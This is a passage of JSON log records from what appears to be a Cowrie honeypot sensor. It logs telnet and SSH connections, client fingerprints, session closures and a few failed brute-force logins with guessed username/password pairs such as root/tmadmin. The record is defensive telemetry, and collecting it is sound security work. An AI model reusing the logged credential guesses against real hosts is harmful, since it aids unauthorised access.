cdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:55.329365Z","src_ip":"159.203.92.129","session":"5e6707e8d86d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"albatross","password":"albatross","message":"login attempt [albatross/albatross] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:55.339818Z","src_ip":"159.203.92.129","session":"5e6707e8d86d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":58686,"dst_ip":"159.203.135.109","dst_port":23,"session":"441987a5df5a","protocol":"telnet","message":"New connection: 69.6.225.50:58686 (159.203.135.109:23) [session: 441987a5df5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:55.727003Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":58700,"dst_ip":"159.203.135.109","dst_port":23,"session":"a48f8e340a8e","protocol":"telnet","message":"New connection: 69.6.225.50:58700 (159.203.135.109:23) [session: a48f8e340a8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:55.886659Z"}
{"eventid":"cowrie.session.closed","duration":35.581844091415405,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:55.993810Z","src_ip":"144.79.218.12","session":"2686e5d03966","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.787912607192993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:56.064549Z","src_ip":"69.6.225.50","session":"13cac10d97d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.943592309951782,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:56.080004Z","src_ip":"69.6.225.50","session":"798194adfd7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.070101737976074,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:56.084493Z","src_ip":"69.6.225.50","session":"da5eed8fac17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.62388896942139,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:56.320474Z","src_ip":"144.79.218.12","session":"cdf9fc27e1be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:56.354042Z","src_ip":"159.203.92.129","session":"5e6707e8d86d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":58712,"dst_ip":"159.203.135.109","dst_port":23,"session":"65030fe80242","protocol":"telnet","message":"New connection: 69.6.225.50:58712 (159.203.135.109:23) [session: 65030fe80242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:56.871239Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":48708,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a5c2fdc7f99","protocol":"telnet","message":"New connection: 185.15.23.59:48708 (159.203.135.109:23) [session: 1a5c2fdc7f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:56.907569Z"}
{"eventid":"cowrie.session.closed","duration":40.41410303115845,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:56.944961Z","src_ip":"5.61.90.139","session":"f180ef2d081b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.7515811920166,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:56.948931Z","src_ip":"144.79.218.12","session":"9bcb5101280b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"222.110.147.56","src_port":55218,"dst_ip":"10.17.0.5","dst_port":22,"session":"1349bbb32885","protocol":"ssh","message":"New connection: 222.110.147.56:55218 (10.17.0.5:22) [session: 1349bbb32885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:57.017138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:57.027276Z","src_ip":"222.110.147.56","session":"1349bbb32885","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:57.226380Z","src_ip":"222.110.147.56","session":"1349bbb32885","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.53823494911194,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:57.434339Z","src_ip":"144.79.218.12","session":"1a853fdcc1d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":58720,"dst_ip":"159.203.135.109","dst_port":23,"session":"53861dcda05d","protocol":"telnet","message":"New connection: 69.6.225.50:58720 (159.203.135.109:23) [session: 53861dcda05d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:57.687067Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"o0i9u8y7","message":"login attempt [root/o0i9u8y7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:58.024202Z","src_ip":"222.110.147.56","session":"1349bbb32885","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.086185693740845,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:58.052875Z","src_ip":"69.6.225.50","session":"fef38cfc85de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51584,"dst_ip":"159.203.135.109","dst_port":23,"session":"359062198972","protocol":"telnet","message":"New connection: 69.6.225.50:51584 (159.203.135.109:23) [session: 359062198972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:58.061082Z"}
{"eventid":"cowrie.session.closed","duration":30.971150636672974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:58.077621Z","src_ip":"69.6.225.50","session":"6ceb841629e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.376604557037354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:58.128673Z","src_ip":"185.15.23.59","session":"6adae9f09069","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.920462131500244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:58.286250Z","src_ip":"69.6.225.50","session":"937d89619d74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":52930,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e068f32804a","protocol":"telnet","message":"New connection: 185.15.23.59:52930 (159.203.135.109:23) [session: 0e068f32804a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:58.533959Z"}
{"eventid":"cowrie.session.closed","duration":33.87229061126709,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:58.546584Z","src_ip":"144.79.218.12","session":"f2331f682f66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51594,"dst_ip":"159.203.135.109","dst_port":23,"session":"3595a625d70f","protocol":"telnet","message":"New connection: 69.6.225.50:51594 (159.203.135.109:23) [session: 3595a625d70f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:58.695085Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51608,"dst_ip":"159.203.135.109","dst_port":23,"session":"d825bd5d351a","protocol":"telnet","message":"New connection: 69.6.225.50:51608 (159.203.135.109:23) [session: d825bd5d351a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:58.935352Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":34888,"dst_ip":"10.17.0.5","dst_port":23,"session":"304a2eeaab6d","protocol":"telnet","message":"New connection: 144.79.218.12:34888 (10.17.0.5:23) [session: 304a2eeaab6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:59.007199Z"}
{"eventid":"cowrie.session.closed","duration":30.702250957489014,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:59.052462Z","src_ip":"69.6.225.50","session":"67df51f98852","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":38892,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fce7dc7d70a","protocol":"telnet","message":"New connection: 144.79.218.12:38892 (10.17.0.5:23) [session: 7fce7dc7d70a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:59.125916Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51616,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ee3ef709806","protocol":"telnet","message":"New connection: 69.6.225.50:51616 (159.203.135.109:23) [session: 7ee3ef709806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:59.130701Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:59.228052Z","src_ip":"222.110.147.56","session":"1349bbb32885","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":55038,"dst_ip":"159.203.135.109","dst_port":23,"session":"00cb353b668c","protocol":"telnet","message":"New connection: 185.15.23.59:55038 (159.203.135.109:23) [session: 00cb353b668c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:59.276856Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51628,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2e91961eea4","protocol":"telnet","message":"New connection: 69.6.225.50:51628 (159.203.135.109:23) [session: e2e91961eea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:59.382749Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51638,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2dec331f86e","protocol":"telnet","message":"New connection: 69.6.225.50:51638 (159.203.135.109:23) [session: a2dec331f86e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:59.425952Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":38894,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd4319ad6665","protocol":"telnet","message":"New connection: 144.79.218.12:38894 (10.17.0.5:23) [session: bd4319ad6665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:59.488369Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51654,"dst_ip":"159.203.135.109","dst_port":23,"session":"577ea87e939f","protocol":"telnet","message":"New connection: 69.6.225.50:51654 (159.203.135.109:23) [session: 577ea87e939f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:59.689899Z"}
{"eventid":"cowrie.session.closed","duration":31.35128879547119,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:00.028379Z","src_ip":"185.15.23.59","session":"ca411812a49d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.682983875274658,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:00.071933Z","src_ip":"69.6.225.50","session":"d68e70e74d6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.261513710021973,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:00.113734Z","src_ip":"69.6.225.50","session":"435f72dd8b4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":57794,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea46521ecf88","protocol":"telnet","message":"New connection: 185.15.23.59:57794 (159.203.135.109:23) [session: ea46521ecf88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:00.168243Z"}
{"eventid":"cowrie.session.closed","duration":31.505257844924927,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:00.480586Z","src_ip":"185.15.23.59","session":"1b09fa71ed73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":58208,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b5cc7317da1","protocol":"telnet","message":"New connection: 185.15.23.59:58208 (159.203.135.109:23) [session: 3b5cc7317da1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:00.484607Z"}
{"eventid":"cowrie.session.closed","duration":30.97134017944336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:00.554183Z","src_ip":"69.6.225.50","session":"bef4c6249299","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.32576537132263,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:00.585069Z","src_ip":"144.79.218.12","session":"38412635ef9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51670,"dst_ip":"159.203.135.109","dst_port":23,"session":"261413bad017","protocol":"telnet","message":"New connection: 69.6.225.50:51670 (159.203.135.109:23) [session: 261413bad017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:00.874062Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51682,"dst_ip":"159.203.135.109","dst_port":23,"session":"63b9c847de8b","protocol":"telnet","message":"New connection: 69.6.225.50:51682 (159.203.135.109:23) [session: 63b9c847de8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:00.908598Z"}
{"eventid":"cowrie.session.closed","duration":30.74303889274597,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:01.066252Z","src_ip":"69.6.225.50","session":"d98500d40394","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.275582313537598,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:01.182386Z","src_ip":"69.6.225.50","session":"38e77b029956","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":60970,"dst_ip":"159.203.135.109","dst_port":23,"session":"128a4adcbf29","protocol":"telnet","message":"New connection: 185.15.23.59:60970 (159.203.135.109:23) [session: 128a4adcbf29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:01.461045Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":33344,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9654cf3b73c","protocol":"telnet","message":"New connection: 185.15.23.59:33344 (159.203.135.109:23) [session: e9654cf3b73c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:01.544392Z"}
{"eventid":"cowrie.session.closed","duration":30.745385885238647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:01.576054Z","src_ip":"69.6.225.50","session":"833bd24d3e98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.57062911987305,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:01.662415Z","src_ip":"144.79.218.12","session":"30a6ca921e7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51688,"dst_ip":"159.203.135.109","dst_port":23,"session":"078d465f5bbb","protocol":"telnet","message":"New connection: 69.6.225.50:51688 (159.203.135.109:23) [session: 078d465f5bbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:01.719554Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.134.240.52","src_port":43280,"dst_ip":"159.203.135.109","dst_port":22,"session":"865ae8386cb7","protocol":"ssh","message":"New connection: 91.134.240.52:43280 (159.203.135.109:22) [session: 865ae8386cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:01.814965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:01.825623Z","src_ip":"91.134.240.52","session":"865ae8386cb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:01.902993Z","src_ip":"91.134.240.52","session":"865ae8386cb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":38900,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba88e56ea968","protocol":"telnet","message":"New connection: 144.79.218.12:38900 (10.17.0.5:23) [session: ba88e56ea968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:01.978476Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51696,"dst_ip":"159.203.135.109","dst_port":23,"session":"eaa90b3c8398","protocol":"telnet","message":"New connection: 69.6.225.50:51696 (159.203.135.109:23) [session: eaa90b3c8398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:01.995981Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"tmadmin","message":"login attempt [root/tmadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:02.246278Z","src_ip":"91.134.240.52","session":"865ae8386cb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":38904,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cba2bdf7da4","protocol":"telnet","message":"New connection: 144.79.218.12:38904 (10.17.0.5:23) [session: 2cba2bdf7da4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:02.316009Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51702,"dst_ip":"159.203.135.109","dst_port":23,"session":"b55e9607aa1b","protocol":"telnet","message":"New connection: 69.6.225.50:51702 (159.203.135.109:23) [session: b55e9607aa1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:02.440854Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51712,"dst_ip":"159.203.135.109","dst_port":23,"session":"2793f95662b1","protocol":"telnet","message":"New connection: 69.6.225.50:51712 (159.203.135.109:23) [session: 2793f95662b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:02.767931Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51714,"dst_ip":"159.203.135.109","dst_port":23,"session":"185bfd4ee2f8","protocol":"telnet","message":"New connection: 69.6.225.50:51714 (159.203.135.109:23) [session: 185bfd4ee2f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:02.895874Z"}
{"eventid":"cowrie.session.closed","duration":30.204941987991333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:03.051435Z","src_ip":"69.6.225.50","session":"c0e0c139a61b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:03.336743Z","src_ip":"91.134.240.52","session":"865ae8386cb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":38914,"dst_ip":"10.17.0.5","dst_port":23,"session":"12a052ac75a4","protocol":"telnet","message":"New connection: 144.79.218.12:38914 (10.17.0.5:23) [session: 12a052ac75a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:03.556226Z"}
{"eventid":"cowrie.session.closed","duration":30.298530101776123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:04.081111Z","src_ip":"69.6.225.50","session":"c274256e1143","protocol":"telnet"}
